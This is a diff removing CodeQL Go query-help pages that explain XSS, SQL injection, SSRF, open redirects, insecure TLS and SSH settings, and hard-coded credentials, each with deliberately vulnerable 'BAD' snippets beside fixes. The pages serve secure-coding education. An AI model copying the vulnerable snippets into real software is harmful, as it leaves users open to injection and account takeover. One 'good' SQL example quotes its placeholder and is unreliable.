to conduct cross-site scripting (XSS) attacks, while inclusion of an HTTP header may allow a full account compromise as shown in the example below. - - -## Recommendation -Any data which is passed to an email subject or body must be sanitized before use. - - -## Example -In the following example snippet, the `host` field is user controlled. - -A malicious user can send an HTTP request to the targeted website, but with a Host header that refers to their own website. This means the emails will be sent out to potential victims, originating from a server they trust, but with links leading to a malicious website. - -If the email contains a password reset link, and the victim clicks the link, the secret reset token will be leaked to the attacker. Using the leaked token, the attacker can then construct the real reset link and use it to change the victim's password. - - -```go -package main - -import ( - "net/http" - "net/smtp" -) - -func mail(w http.ResponseWriter, r *http.Request) { - host := r.Header.Get("Host") - token := backend.getUserSecretResetToken(email) - body := "Click to reset password: " + host + "/" + token - smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body)) -} - -``` -One way to prevent this is to load the host name from a trusted configuration file instead. - - -```go -package main - -import ( - "net/http" - "net/smtp" -) - -func mailGood(w http.ResponseWriter, r *http.Request) { - host := config.Get("Host") - token := backend.getUserSecretResetToken(email) - body := "Click to reset password: " + host + "/" + token - smtp.SendMail("test.test", nil, "from@from.com", nil, []byte(body)) -} - -``` - -## References -* OWASP: [Content Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) . -* Common Weakness Enumeration: [CWE-640](https://cwe.mitre.org/data/definitions/640.html). \ No newline at end of file diff --git a/docs/language/query-help/go/HardcodedCredentials.md b/docs/language/query-help/go/HardcodedCredentials.md deleted file mode 100644 index 37dc470366d..00000000000 --- a/docs/language/query-help/go/HardcodedCredentials.md +++ /dev/null @@ -1,56 +0,0 @@ -# Hard-coded credentials - -``` -ID: go/hardcoded-credentials -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-798/HardcodedCredentials.ql) - -Including unencrypted hard-coded authentication credentials in source code is dangerous because the credentials may be easily discovered. For example, the code may be open source, or it may be leaked or accidentally revealed, making the credentials visible to an attacker. This, in turn, might enable them to gain unauthorized access, or to obtain privileged information. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code. Instead, place them in configuration files, environment variables or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - - -## Example -The following code example connects to a Postgres database using the `lib/pq` package and hard-codes user name and password: - - -```go -package main - -import ( - "database/sql" - "fmt" - - _ "github.com/lib/pq" -) - -const ( - user = "dbuser" - password = "s3cretp4ssword" -) - -func connect() *sql.DB { - connStr := fmt.Sprintf("postgres://%s:%s@localhost/pqgotest", user, password) - db, err := sql.Open("postgres", connStr) - if err != nil { - return nil - } - return db -} - -``` -Instead, user name and password can be supplied through the environment variables `PGUSER` and `PGPASSWORD`, which can be set externally without hard-coding credentials in the source code. - - -## References -* OWASP: [Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncompleteHostnameRegexp.md b/docs/language/query-help/go/IncompleteHostnameRegexp.md deleted file mode 100644 index eb3e7d79ecd..00000000000 --- a/docs/language/query-help/go/IncompleteHostnameRegexp.md +++ /dev/null @@ -1,75 +0,0 @@ -# Incomplete regular expression for hostnames - -``` -ID: go/incomplete-hostname-regexp -Kind: path-problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/IncompleteHostnameRegexp.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. - -If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping regular-expression meta-characters such as `.`. - -Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behavior when it accidentally succeeds. - - -## Recommendation -Escape all meta-characters appropriately when constructing regular expressions for security checks, paying special attention to the `.` meta-character. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. - - -```go -package main - -import ( - "errors" - "net/http" - "regexp" -) - -func checkRedirect(req *http.Request, via []*http.Request) error { - // BAD: the host of `req.URL` may be controlled by an attacker - re := "^((www|beta).)?example.com/" - if matched, _ := regexp.MatchString(re, req.URL.Host); matched { - return nil - } - return errors.New("Invalid redirect") -} - -``` -The check is however easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. - -Address this vulnerability by escaping `.` appropriately: - - -```go -package main - -import ( - "errors" - "net/http" - "regexp" -) - -func checkRedirectGood(req *http.Request, via []*http.Request) error { - // GOOD: the host of `req.URL` must be `example.com`, `www.example.com` or `beta.example.com` - re := "^((www|beta)\\.)?example\\.com/" - if matched, _ := regexp.MatchString(re, req.URL.Host); matched { - return nil - } - return errors.New("Invalid redirect") -} - -``` - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncompleteUrlSchemeCheck.md b/docs/language/query-help/go/IncompleteUrlSchemeCheck.md deleted file mode 100644 index c2c45b418fe..00000000000 --- a/docs/language/query-help/go/IncompleteUrlSchemeCheck.md +++ /dev/null @@ -1,60 +0,0 @@ -# Incomplete URL scheme check - -``` -ID: go/incomplete-url-scheme-check -Kind: problem -Severity: warning -Precision: high -Tags: security correctness external/cwe/cwe-020 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/IncompleteUrlSchemeCheck.ql) - -URLs with the special scheme `javascript` can be used to encode JavaScript code to be executed when the URL is visited. While this is a powerful mechanism for creating feature-rich and responsive web applications, it is also a potential security risk: if the URL comes from an untrusted source, it might contain harmful JavaScript code. For this reason, many frameworks and libraries first check the URL scheme of any untrusted URL, and reject URLs with the `javascript` scheme. - -However, the `data` and `vbscript` schemes can be used to represent executable code in a very similar way, so any validation logic that checks against `javascript`, but not against `data` and `vbscript`, is likely to be insufficient. - - -## Recommendation -Add checks covering both `data:` and `vbscript:`. - - -## Example -The following function validates a (presumably untrusted) URL `urlstr`. If its scheme is `javascript`, the harmless placeholder URL `about:blank` is returned to prevent code injection; otherwise `urlstr` itself is returned. - - -```go -package main - -import "net/url" - -func sanitizeUrl(urlstr string) string { - u, err := url.Parse(urlstr) - if err != nil || u.Scheme == "javascript" { - return "about:blank" - } - return urlstr -} - -``` -While this check provides partial projection, it should be extended to cover `data` and `vbscript` as well: - - -```go -package main - -import "net/url" - -func sanitizeUrlGod(urlstr string) string { - u, err := url.Parse(urlstr) - if err != nil || u.Scheme == "javascript" || u.Scheme == "data" || u.Scheme == "vbscript" { - return "about:blank" - } - return urlstr -} - -``` - -## References -* WHATWG: [URL schemes](https://wiki.whatwg.org/wiki/URL_schemes). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/IncorrectIntegerConversion.md b/docs/language/query-help/go/IncorrectIntegerConversion.md deleted file mode 100644 index afde852498a..00000000000 --- a/docs/language/query-help/go/IncorrectIntegerConversion.md +++ /dev/null @@ -1,207 +0,0 @@ -# Incorrect conversion between integer types - -``` -ID: go/incorrect-integer-conversion -Kind: path-problem -Severity: warning -Precision: very-high -Tags: security external/cwe/cwe-190 external/cwe/cwe-681 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-681/IncorrectIntegerConversion.ql) - -If a string is parsed into an int using `strconv.Atoi`, and subsequently that int is converted into another integer type of a smaller size, the result can produce unexpected values. - -This also applies to the results of `strconv.ParseInt` and `strconv.ParseUint` when the specified size is larger than the size of the type that number is converted to. - - -## Recommendation -If you need to parse integer values with specific bit sizes, avoid `strconv.Atoi`, and instead use `strconv.ParseInt` or `strconv.ParseUint`, which also allow specifying the bit size. - -When using those functions, be careful to not convert the result to another type with a smaller bit size than the bit size you specified when parsing the number. - -If this is not possible, then add upper (and lower) bound checks specific to each type and bit size (you can find the minimum and maximum value for each type in the `math` package). - - -## Example -In the first example, assume that an input string is passed to `parseAllocateBad1` function, parsed by `strconv.Atoi`, and then converted into an `int32` type: - - -```go -package main - -import ( - "strconv" -) - -func parseAllocateBad1(wanted string) int32 { - parsed, err := strconv.Atoi(wanted) - if err != nil { - panic(err) - } - return int32(parsed) -} -func parseAllocateBad2(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 64) - if err != nil { - panic(err) - } - return int32(parsed) -} - -``` -The bounds are not checked, so this means that if the provided number is greater than the maximum value of type `int32`, the resulting value from the conversion will be different from the actual provided value. - -To avoid unexpected values, you should either use the other functions provided by the `strconv` package to parse the specific types and bit sizes as shown in the `parseAllocateGood2` function; or check bounds as in the `parseAllocateGood1` function. - - -```go -package main - -import ( - "math" - "strconv" -) - -func main() { - -} - -const DefaultAllocate int32 = 256 - -func parseAllocateGood1(desired string) int32 { - parsed, err := strconv.Atoi(desired) - if err != nil { - return DefaultAllocate - } - // GOOD: check for lower and upper bounds - if parsed > 0 && parsed <= math.MaxInt32 { - return int32(parsed) - } - return DefaultAllocate -} -func parseAllocateGood2(desired string) int32 { - // GOOD: parse specifying the bit size - parsed, err := strconv.ParseInt(desired, 10, 32) - if err != nil { - return DefaultAllocate - } - return int32(parsed) -} - -func parseAllocateGood3(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 32) - if err != nil { - panic(err) - } - return int32(parsed) -} -func parseAllocateGood4(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 64) - if err != nil { - panic(err) - } - // GOOD: check for lower and uppper bounds - if parsed > 0 && parsed <= math.MaxInt32 { - return int32(parsed) - } - return DefaultAllocate -} - -``` - -## Example -In the second example, assume that an input string is passed to `parseAllocateBad2` function, parsed by `strconv.ParseInt` with a bit size set to 64, and then converted into an `int32` type: - - -```go -package main - -import ( - "strconv" -) - -func parseAllocateBad1(wanted string) int32 { - parsed, err := strconv.Atoi(wanted) - if err != nil { - panic(err) - } - return int32(parsed) -} -func parseAllocateBad2(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 64) - if err != nil { - panic(err) - } - return int32(parsed) -} - -``` -If the provided number is greater than the maximum value of type `int32`, the resulting value from the conversion will be different from the actual provided value. - -To avoid unexpected values, you should specify the correct bit size as in `parseAllocateGood3`; or check bounds before making the conversion as in `parseAllocateGood4`. - - -```go -package main - -import ( - "math" - "strconv" -) - -func main() { - -} - -const DefaultAllocate int32 = 256 - -func parseAllocateGood1(desired string) int32 { - parsed, err := strconv.Atoi(desired) - if err != nil { - return DefaultAllocate - } - // GOOD: check for lower and upper bounds - if parsed > 0 && parsed <= math.MaxInt32 { - return int32(parsed) - } - return DefaultAllocate -} -func parseAllocateGood2(desired string) int32 { - // GOOD: parse specifying the bit size - parsed, err := strconv.ParseInt(desired, 10, 32) - if err != nil { - return DefaultAllocate - } - return int32(parsed) -} - -func parseAllocateGood3(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 32) - if err != nil { - panic(err) - } - return int32(parsed) -} -func parseAllocateGood4(wanted string) int32 { - parsed, err := strconv.ParseInt(wanted, 10, 64) - if err != nil { - panic(err) - } - // GOOD: check for lower and uppper bounds - if parsed > 0 && parsed <= math.MaxInt32 { - return int32(parsed) - } - return DefaultAllocate -} - -``` - -## References -* Wikipedia [Integer overflow](https://en.wikipedia.org/wiki/Integer_overflow). -* Go language specification [Integer overflow](https://golang.org/ref/spec#Integer_overflow). -* Documentation for [strconv.Atoi](https://golang.org/pkg/strconv/#Atoi). -* Documentation for [strconv.ParseInt](https://golang.org/pkg/strconv/#ParseInt). -* Documentation for [strconv.ParseUint](https://golang.org/pkg/strconv/#ParseUint). -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/go/InsecureHostKeyCallback.md b/docs/language/query-help/go/InsecureHostKeyCallback.md deleted file mode 100644 index 24e639c77b6..00000000000 --- a/docs/language/query-help/go/InsecureHostKeyCallback.md +++ /dev/null @@ -1,87 +0,0 @@ -# Use of insecure HostKeyCallback implementation - -``` -ID: go/insecure-hostkeycallback -Kind: path-problem -Severity: warning -Precision: high -Tags: security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-322/InsecureHostKeyCallback.ql) - -The `ClientConfig` specifying the configuration for establishing a SSH connection has a field `HostKeyCallback` that must be initialized with a function that validates the host key returned by the server. - -Not properly verifying the host key returned by a server provides attackers with an opportunity to perform a Machine-in-the-Middle (MitM) attack. A successful attack can compromise the confidentiality and integrity of the information communicated with the server. - -The `ssh` package provides the predefined callback `InsecureIgnoreHostKey` that can be used during development and testing. It accepts any provided host key. This callback, or a semantically similar callback, should not be used in production code. - - -## Recommendation -The `HostKeyCallback` field of `ClientConfig` should be initialized with a function that validates a host key against an allow list. If a key is not on a predefined allow list, the connection must be terminated and the failed security operation should be logged. - -When the allow list contains only a single host key then the function `FixedHostKey` can be used. - - -## Example -The following example shows the use of `InsecureIgnoreHostKey` and an insecure host key callback implemention commonly used in non-production code. - - -```go -package main - -import ( - "golang.org/x/crypto/ssh" - "net" -) - -func main() {} - -func insecureIgnoreHostKey() { - _ = &ssh.ClientConfig{ - User: "username", - Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.InsecureIgnoreHostKey(), - } -} - -func insecureHostKeyCallback() { - _ = &ssh.ClientConfig{ - User: "username", - Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.HostKeyCallback( - func(hostname string, remote net.Addr, key ssh.PublicKey) error { - return nil - }), - } -} - -``` -The next example shows a secure implementation using the `FixedHostKey` that implements an allow-list. - - -```go -package main - -import ( - "golang.org/x/crypto/ssh" - "io/ioutil" -) - -func main() {} - -func secureHostKeyCallback() { - publicKeyBytes, _ := ioutil.ReadFile("allowed_hostkey.pub") - publicKey, _ := ssh.ParsePublicKey(publicKeyBytes) - - _ = &ssh.ClientConfig{ - User: "username", - Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.FixedHostKey(publicKey), - } -} - -``` - -## References -* Go Dev: [package ssh](https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc). \ No newline at end of file diff --git a/docs/language/query-help/go/InsecureTLS.md b/docs/language/query-help/go/InsecureTLS.md deleted file mode 100644 index fc494c46611..00000000000 --- a/docs/language/query-help/go/InsecureTLS.md +++ /dev/null @@ -1,84 +0,0 @@ -# Insecure TLS configuration - -``` -ID: go/insecure-tls -Kind: path-problem -Severity: warning -Precision: very-high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-327/InsecureTLS.ql) - -The TLS (Transport Layer Security) protocol secures communications over the Internet. The protocol allows client/server applications to communicate in a way that is designed to prevent eavesdropping, tampering, or message forgery. - -The current latest version is 1.3 (with the 1.2 version still being considered secure). Older versions are not deemed to be secure anymore because of various security vulnerabilities, and tht makes them unfit for use in securing your applications. - -Unfortunately, many applications and websites still support deprecated SSL/TLS versions and cipher suites. - - -## Recommendation -Only use secure TLS versions (1.3 and 1.2) and avoid using insecure cipher suites (you can see a list here: https://golang.org/src/crypto/tls/cipher_suites.go#L81) - - -## Example -The following example shows a few ways how an insecure TLS configuration can be created: - - -```go -package main - -import ( - "crypto/tls" -) - -func main() {} - -func insecureMinMaxTlsVersion() { - { - config := &tls.Config{} - config.MinVersion = 0 // BAD: Setting the MinVersion to 0 equals to choosing the lowest supported version (i.e. SSL3.0) - } - { - config := &tls.Config{} - config.MinVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MinVersion. - } - { - config := &tls.Config{} - config.MaxVersion = tls.VersionSSL30 // BAD: SSL 3.0 is a non-secure version of the protocol; it's not safe to use it as MaxVersion. - } -} - -func insecureCipherSuites() { - config := &tls.Config{ - CipherSuites: []uint16{ - tls.TLS_RSA_WITH_RC4_128_SHA, // BAD: TLS_RSA_WITH_RC4_128_SHA is one of the non-secure cipher suites; it's not safe to be used. - }, - } - _ = config -} - -``` -The following example shows how to create a safer TLS configuration: - - -```go -package main - -import "crypto/tls" - -func saferTLSConfig() { - config := &tls.Config{} - config.MinVersion = tls.VersionTLS12 - config.MaxVersion = tls.VersionTLS13 - // OR - config.MaxVersion = 0 // GOOD: Setting MaxVersion to 0 means that the highest version available in the package will be used. -} - -``` - -## References -* Wikipedia: [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) -* Mozilla: [Security/Server Side TLS](https://wiki.mozilla.org/Security/Server_Side_TLS) -* OWASP: [Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/go/MissingRegexpAnchor.md b/docs/language/query-help/go/MissingRegexpAnchor.md deleted file mode 100644 index 6a538e4c191..00000000000 --- a/docs/language/query-help/go/MissingRegexpAnchor.md +++ /dev/null @@ -1,75 +0,0 @@ -# Missing regular expression anchor - -``` -ID: go/regex/missing-regexp-anchor -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-020/MissingRegexpAnchor.ql) - -Sanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location. - -Even if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches. - - -## Recommendation -Use anchors to ensure that regular expressions match at the expected locations. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site. - - -```go -package main - -import ( - "errors" - "net/http" - "regexp" -) - -func checkRedirect2(req *http.Request, via []*http.Request) error { - // BAD: the host of `req.URL` may be controlled by an attacker - re := "https?://www\\.example\\.com/" - if matched, _ := regexp.MatchString(re, req.URL.String()); matched { - return nil - } - return errors.New("Invalid redirect") -} - -``` -The check with the regular expression match is, however, easy to bypass. For example, the string `http://example.com/` can be embedded in the query string component: `http://evil-example.net/?x=http://example.com/`. - -Address these shortcomings by using anchors in the regular expression instead: - - -```go -package main - -import ( - "errors" - "net/http" - "regexp" -) - -func checkRedirect2Good(req *http.Request, via []*http.Request) error { - // GOOD: the host of `req.URL` cannot be controlled by an attacker - re := "^https?://www\\.example\\.com/" - if matched, _ := regexp.MatchString(re, req.URL.String()); matched { - return nil - } - return errors.New("Invalid redirect") -} - -``` -A related mistake is to write a regular expression with multiple alternatives, but to only anchor one of the alternatives. As an example, the regular expression `^www\.example\.com|beta\.example\.com` will match the host `evil.beta.example.com` because the regular expression is parsed as `(^www\.example\.com)|(beta\.example\.com)/`, so the second alternative `beta\.example\.com` is not anchored at the beginning of the string. - - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/go/OpenUrlRedirect.md b/docs/language/query-help/go/OpenUrlRedirect.md deleted file mode 100644 index 1a17e26b449..00000000000 --- a/docs/language/query-help/go/OpenUrlRedirect.md +++ /dev/null @@ -1,71 +0,0 @@ -# Open URL redirect - -``` -ID: go/unvalidated-url-redirection -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-601/OpenUrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks: - - -```go -package main - -import ( - "net/http" -) - -func serve() { - http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - http.Redirect(w, r, r.Form.Get("target"), 302) - }) -} - -``` -One way to remedy the problem is to validate the user input against a known fixed string before doing the redirection: - - -```go -package main - -import ( - "net/http" - "net/url" -) - -func serve() { - http.HandleFunc("/redir", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - target, err := url.Parse(r.Form.Get("target")) - if err != nil { - // ... - } - - if target.Hostname() == "semmle.com" { - // GOOD: checking hostname - http.Redirect(w, r, target.String(), 302) - } else { - http.WriteHeader(400) - } - }) -} - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/go/ReflectedXss.md b/docs/language/query-help/go/ReflectedXss.md deleted file mode 100644 index fde1daa8ebf..00000000000 --- a/docs/language/query-help/go/ReflectedXss.md +++ /dev/null @@ -1,82 +0,0 @@ -# Reflected cross-site scripting - -``` -ID: go/reflected-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-079/ReflectedXss.ql) - -Directly writing user input (for example, an HTTP request parameter) to an HTTP response without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - -This kind of vulnerability is also called *reflected* cross-site scripting, to distinguish it from other types of cross-site scripting. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the response, or one of the other solutions that are mentioned in the references. - - -## Example -The following example code writes part of an HTTP request (which is controlled by the user) directly to the response. This leaves the website vulnerable to cross-site scripting. - - -```go -package main - -import ( - "fmt" - "net/http" -) - -func serve() { - http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - username := r.Form.Get("username") - if !isValidUsername(username) { - // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) - } else { - // TODO: do something exciting - } - }) - http.ListenAndServe(":80", nil) -} - -``` -Sanitizing the user-controlled data prevents the vulnerability: - - -```go -package main - -import ( - "fmt" - "html" - "net/http" -) - -func serve1() { - http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - r.ParseForm() - username := r.Form.Get("username") - if !isValidUsername(username) { - // GOOD: a request parameter is escaped before being put into the response - fmt.Fprintf(w, "%q is an unknown user", html.EscapeString(username)) - } else { - // TODO: do something exciting - } - }) - http.ListenAndServe(":80", nil) -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/go/RequestForgery.md b/docs/language/query-help/go/RequestForgery.md deleted file mode 100644 index d34cf6e79e5..00000000000 --- a/docs/language/query-help/go/RequestForgery.md +++ /dev/null @@ -1,81 +0,0 @@ -# Uncontrolled data used in network request - -``` -ID: go/request-forgery -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-918 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-918/RequestForgery.ql) - -Directly incorporating user input into an HTTP request without validating the input can facilitate different kinds of request forgery attacks, where the attacker essentially controls the request. If the vulnerable request is in server-side code, then security mechanisms, such as external firewalls, can be bypassed. If the vulnerable request is in client-side code, then unsuspecting users can send malicious requests to other servers, potentially resulting in a DDOS attack. - - -## Recommendation -To guard against request forgery, it is advisable to avoid putting user input directly into a network request. If a flexible network request mechanism is required, it is recommended to maintain a list of authorized request targets and choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL request without validating the input, which facilitates an SSRF attack. The request `http.Get(...)` is vulnerable since attackers can choose the value of `target` to be anything they want. For instance, the attacker can choose `"internal.example.com/#"` as the target, causing the URL used in the request to be `"https://internal.example.com/#.example.com/data"`. - -A request to `https://internal.example.com` may be problematic if that server is not meant to be directly accessible from the attacker's machine. - - -```go -package main - -import ( - "net/http" -) - -func handler(w http.ResponseWriter, req *http.Request) { - target := req.FormValue("target") - - // BAD: `target` is controlled by the attacker - resp, err := http.Get("https://" + target + ".example.com/data/") - if err != nil { - // error handling - } - - // process request response - use(resp) -} - -``` -One way to remedy the problem is to use the user input to select a known fixed string before performing the request: - - -```go -package main - -import ( - "net/http" -) - -func handler1(w http.ResponseWriter, req *http.Request) { - target := req.FormValue("target") - - var subdomain string - if target == "EU" { - subdomain = "europe" - } else { - subdomain = "world" - } - - // GOOD: `subdomain` is controlled by the server - resp, err := http.Get("https://" + subdomain + ".example.com/data/") - if err != nil { - // error handling - } - - // process request response - use(resp) -} - -``` - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html). \ No newline at end of file diff --git a/docs/language/query-help/go/SqlInjection.md b/docs/language/query-help/go/SqlInjection.md deleted file mode 100644 index e0be1ef9554..00000000000 --- a/docs/language/query-help/go/SqlInjection.md +++ /dev/null @@ -1,62 +0,0 @@ -# Database query built from user-controlled sources - -``` -ID: go/sql-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-089/SqlInjection.ql) - -If a database query (such as an SQL or NoSQL query) is built from user-provided data without sufficient sanitization, a malicious user may be able to run commands that exfiltrate, tamper with, or destroy data stored in the database. - - -## Recommendation -Most database connector libraries offer a way of safely embedding untrusted data into a query by means of query parameters or prepared statements. Use these features rather than building queries by string concatenation. - - -## Example -In the following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object: - - -```go -package main - -import ( - "database/sql" - "fmt" - "net/http" -) - -func handler(db *sql.DB, req *http.Request) { - q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", - req.URL.Query()["category"]) - db.Query(q) -} - -``` -The handler constructs an SQL query involving user input taken from the request object unsafely using `fmt.Sprintf` to embed a request parameter directly into the query string `q`. The parameter may include quote characters, allowing a malicious user to terminate the string literal into which the parameter is embedded and add arbitrary SQL code after it. - -Instead, the untrusted query parameter should be safely embedded using placeholder parameters: - - -```go -package main - -import ( - "database/sql" - "net/http" -) - -func handlerGood(db *sql.DB, req *http.Request) { - q := "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='?' ORDER BY PRICE" - db.Query(q, req.URL.Query()["category"]) -} - -``` - -## References -* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/go/StringBreak.md b/docs/language/query-help/go/StringBreak.md deleted file mode 100644 index 9e8b96ddd49..00000000000 --- a/docs/language/query-help/go/StringBreak.md +++ /dev/null @@ -1,72 +0,0 @@ -# Potentially unsafe quoting - -``` -ID: go/unsafe-quoting -Kind: path-problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-089 external/cwe/cwe-094 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql-go/tree/main/ql/src/Security/CWE-089/StringBreak.ql) - -Code that constructs a string containing a quoted substring needs to ensure that any user-provided data embedded in between the quotes does not itself contain a quote. Otherwise the embedded data could (accidentally or intentionally) change the structure of the overall string by terminating the quoted substring early, with potentially severe consequences. If, for example, the string is later interpreted as an operating-system command or database query, a malicious attacker may be able to craft input data that enables a command injection or SQL injection attack. - - -## Recommendation -Sanitize the embedded data appropriately to ensure quotes are escaped, or use an API that does not rely on manually constructing quoted substrings. - - -## Example -In the following example, assume that `version` is an object from an untrusted source. The code snippet first uses `json.Marshal` to serialize this object into a string, and then embeds it into a SQL query built using the Squirrel library. - - -```go -package main - -import ( - "encoding/json" - "fmt" - sq "github.com/Masterminds/squirrel" -) - -func save(id string, version interface{}) { - versionJSON, _ := json.Marshal(version) - 